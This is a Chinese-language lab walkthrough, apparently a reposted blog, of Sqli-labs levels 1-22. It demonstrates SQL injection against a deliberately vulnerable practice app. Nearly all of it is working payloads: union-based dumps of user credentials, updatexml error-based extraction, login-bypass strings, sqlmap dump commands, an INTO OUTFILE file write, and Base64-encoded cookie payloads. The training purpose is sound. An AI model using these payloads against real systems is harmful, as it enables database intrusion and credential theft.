Java教程

Sqli-labs 注入靶场(1-22)

本文主要是介绍Sqli-labs 注入靶场(1-22),对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!

Sqli-labs靶场1-22

Sql注入的本质是代码和数据的未分离,导致用户的输入可以对数据库产生恶意的输入或输出。

本篇博客旨在通过Sqli-labs的第1-22关,详细的描述Sql注入的相关场景及分类。

Less-1

GET型传参,字符型注入,单引号闭合

首先判断闭合,输入单引号时,出现报错信息,判断是单引号闭合

#出现报错信息
http://127.0.0.1/sqli-labs/Lesss-1/?id=1 '
#报错信息消失,由此判断是单引号闭合
http://127.0.0.1/sqli-labs/Lesss-1/?id=1 '#
#进行注入
http://127.0.0.1/sqli-labs/Lesss-1/?id=1 ' order by 3 # //回显正确
http://127.0.0.1/sqli-labs/Lesss-1/?id=1 ' order by 4 # //回显错误,报错信息为: Unknown column '4' in 'order clause' 
判断有3列
#查看报错位
http://127.0.0.1/sqli-labs/Lesss-1/?id=-1 ' union select 1,2,3  # //查看到报错位为2,3;注意这里id=-1才可以显示想要的回显
#正式进行注入
http://127.0.0.1/sqli-labs/Lesss-1/?id=-1 ' union select 1,version(),database()  # //查看版本,数据库名称
http://127.0.0.1/sqli-labs/Lesss-1/?id=-1 ' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()  # //查看到数据表名为emails,referers,uagents,users 
http://127.0.0.1/sqli-labs/Lesss-1/?id=-1 ' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'  # //查询到users数据表的数据列为:id,username,password 
http://127.0.0.1/sqli-labs/Lesss-1/?id=-1’
 union select 1,2,group_concat(id,0x3a,username,0x3a,password) from security.users # //注入出数据库所有的内容

Less-2

GET型传参,数字型注入

#正常显现
127.0.0.1/sqli-labs/Lesss-2/?id=1 
#and逻辑运算符判断,为假时出现异常
127.0.0.1/sqli-labs/Lesss-2/?id=1 and 1=2 //得出结论为数字型注入
#进行注入
http://127.0.0.1/sqli-labs/Lesss-2/?id=-1
 union select 1,2,group_concat(id,0x3a,username,0x3a,password) from security.users #     //注入出数据库所有内容

Less-3

GET型传参,字符型注入,闭合为(' ')

#正常回显
http://127.0.0.1/sqli-labs/Lesss-3/?id=1 ') #
#进行注入
http://127.0.0.1/sqli-labs/Lesss-3/?id=-1 ') union select 1,2,group_concat(id,0x3a,username,0x3a,password) from security.users #

Less-4

GET型传参,字符型注入,闭合为("")

#出现报错信息
http://192.168.28.128/sqli-labs/Lesss-4/?id=2") 
#正常回显
http://192.168.28.128/sqli-labs/Lesss-4/?id=2") #
#进行注入
http://192.168.28.128/sqli-labs/Lesss-4/?id=-1") union select 1,2,group_concat(id,0x3a,username,0x3a,password) from security.users #

Less-5

GET型传参,布尔盲注,单引号闭合,考虑报错注入或者布尔盲注

方法1:报错注入

#注入出数据库版本
http://192.168.28.128/sqli-labs/Lesss-5/?id=1 ' and updatexml(1,concat(0x7e,version()),0) #
#注入出表名
http://192.168.28.128/sqli-labs/Lesss-5/?id=1 ' and updatexml(1,concat(0x7e, (select table_name from information_schema.tables where table_schema=database() limit 0,1)),0) #
#注入出列名:
http://192.168.28.128/sqli-labs/Lesss-5/?id=1 ' and updatexml(1,concat(0x7e, (select column_name from information_schema.columns where table_name='users' limit 0,1)),0) #
#注入出数据
http://192.168.28.128/sqli-labs/Lesss-5/?id=1 ' and updatexml(1,concat(0x7e, (select username from security.users limit 0,1)),0) #

方法2:Sqlmap 布尔型盲注

 #查看数据表
 sqlmap -u "http://192.168.28.128/sqli-labs/Lesss-5/?id=1" --current-db --batch --level 5 --threads 10
 #进行数据注入
 sqlmap -u "http://192.168.28.128/sqli-labs/Lesss-5/?id=1" -D "security" -T "users" -C "username,password" --dump  --batch --level 5 --threads 10

Less-6

GET型传参,布尔传参,双引号闭合,考虑报错注入或者布尔盲注,方法与Less-5同,区别在于将单引号替换为双引号

#注入出数据库版本
http://192.168.28.128/sqli-labs/Lesss-6/?id=1" and updatexml(1,concat(0x7e,version()),0) #
#注入出数据
http://192.168.28.128/sqli-labs/Lesss-6/?id=1" and updatexml(1,concat(0x7e, (select username from security.users limit 0,1)),0) #

Less-7

通过本关名称可以看出是写入,这里涉及到一个概念:

MYSQL新特性secure_file_priv 对读写文件的影响,此开关默认为NULL,即不允许导入导出,这个对我们写入shell有重要的影响

secure_file_priv结果
null 不允许导入导出
可以读写,但不可以动态更改
指定文件夹 mysql的导入导出只能发生在指定文件夹
http://192.168.28.128/sqli-labs/Less-7/?id=1 ')) union select 1,database(),user() into outfile "E:/phpstudy/PHPTutorial/WWW/sqli-labs/Less-7"#

方法2:时间盲注

使用Sqlmap或者自己编写Python脚本

sqlmap -u "192.168.28.128/sqli-labs/Less-7/?id=1"  --threads 10 --level 3 -D security -T users -C id,password,username --dump

Less-8

GET型传参,布尔盲注,单引号闭合,无过滤,Sqlmap可以直接出

 sqlmap -u "http://192.168.28.128/sqli-labs/Less-8/?id=1" -D security -T users -C id,password,username --dump --threads 10 --level 5 --batch --technique B --dbms mysql

Less-9

GET型传参,无论输入正确与否皆为You are in,单引号闭合,时间盲注,Sqlmap直接出

 sqlmap -u "http://192.168.28.128/sqli-labs/Less-9/?id=1" -D security -T users -C id,password,username --dump --threads 10 --level 5 --batch --technique T --dbms mysql

Less-10

GET型传参,无论输入正确与否皆为You are in ,双引号闭合,时间盲注,Sqlmap直接出

#延迟3秒刷新
http://127.0.0.1/sqli-labs/Less-10/?id=1" and sleep(3) --+
#Sqlmap注入
 sqlmap -u "http://192.168.28.128/sqli-labs/Less-10/?id=1" -D security --tables --threads 10 --level 5 --batch --technique T --dbms mysql

Less-11

POST型传参,单引号闭合,可使用报错注入,也可使用万能密码

#POST型传参,发现登录成功
uname=admin '+or+ '1 '= '1&passwd=123&submit=Submit
#POST型注入工作
uname=admin") and updatexml(1,concat(0x7e, (select table_name from information_schema.tables where table_schema=database() limit 0,1)),0) #&passwd=123&submit=Submit

Less-12

POST型传参,闭合为"),同Less-11

#POST型传参,发现登录成功
uname=admin" )+or+("1" )=("1&passwd=123&submit=Submit
#POST型注入工作
uname=admin") and updatexml(1,concat(0x7e, (select table_name from information_schema.tables where table_schema=database() limit 0,1)),0) #&passwd=123&submit=Submit

Less-13

POST型传参,闭合为(''),考虑盲注或者报错注入

#报错注入
uname=admin ' )and updatexml(1,concat(0x7e, (select table_name from information_schema.tables where table_schema=database() limit 0,1)),0) #&passwd=123&submit=Submit
#时间盲注
sqlmap -r 1.txt --current-db --technique T --batch --threads 10 --dbms mysql

Less-14

POST型传参,闭合为” “,考虑报错注入

#报错注入
uname=admin"and updatexml(1,concat(0x7e, (select table_name from information_schema.tables where table_schema=database() limit 0,1)),0) #&passwd=123&submit=Submit

Less-15

POST型传参,闭合为‘’,时间盲注或者布尔盲注,考虑用Sqlmap一把嗦

sqlmap -r 2.txt --technique T --dbms mysql --current-db --batch --threads 10 --level 5

Less-16

同Less-15,不过闭合是(“”),可以考虑自己构造python脚本,或者Sqlmap.

sqlmap -r 3.txt --technique T --dbms mysql --current-db --batch --threads 10 --level 5

Less-17

POST型传参,闭合为' ',注入点在password

uname=admin&passwd=admin' and updatexml(1,concat(0x7e, (select table_name from information_schema.tables where table_schema=database() limit 0,1)),0) --+&submit=Submit

Less-18

POST型传参,UA型Insert注入,闭合方式为' and updatexml() and '1'='1 ,注意考虑闭合

' and updatexml(1,concat(0x7e,(select @@basedir),0x7e),1) and '1'='1

 Less-19

回显Refer,考虑Refer注入

http://127.0.0.1/sqli-labs/Less-19/' and updatexml(1,concat(0x7e,(select @@basedir),0x7e),0) and '1'='1

Less-20

Cookie注入,在存储处修改Cookie即可

' and updatexml(1,concat(0x7e,(select @@basedir),0x7e),0) and '1'='1

Less-21

Cookie注入,发现Cookie处使用Base64编码,则将Less-20处Payload 使用Base64编码即可

YWRtaW4nIGFuZCB1cGRhdGV4bWwoMSxjb25jYXQoMHg3ZSwoc2VsZWN0IEBAYmFzZWRpciksMHg3ZSksMCkgYW5kICcxJz0nMQ==

Less-22

同Cookie注入,并且使用了Base64编码,不同处是使用了双引号进行闭合

编码前Payload

" and updatexml(1,concat(0x7e,(select @@basedir),0x7e),0) and "1"="1

编码后Payload

IiBhbmQgdXBkYXRleG1sKDEsY29uY2F0KDB4N2UsKHNlbGVjdCBAQGJhc2VkaXIpLDB4N2UpLDApIGFuZCAiMSI9IjE=

 



这篇关于Sqli-labs 注入靶场(1-22)的文章就介绍到这儿,希望我们推荐的文章对大家有所帮助,也希望大家多多支持为之网!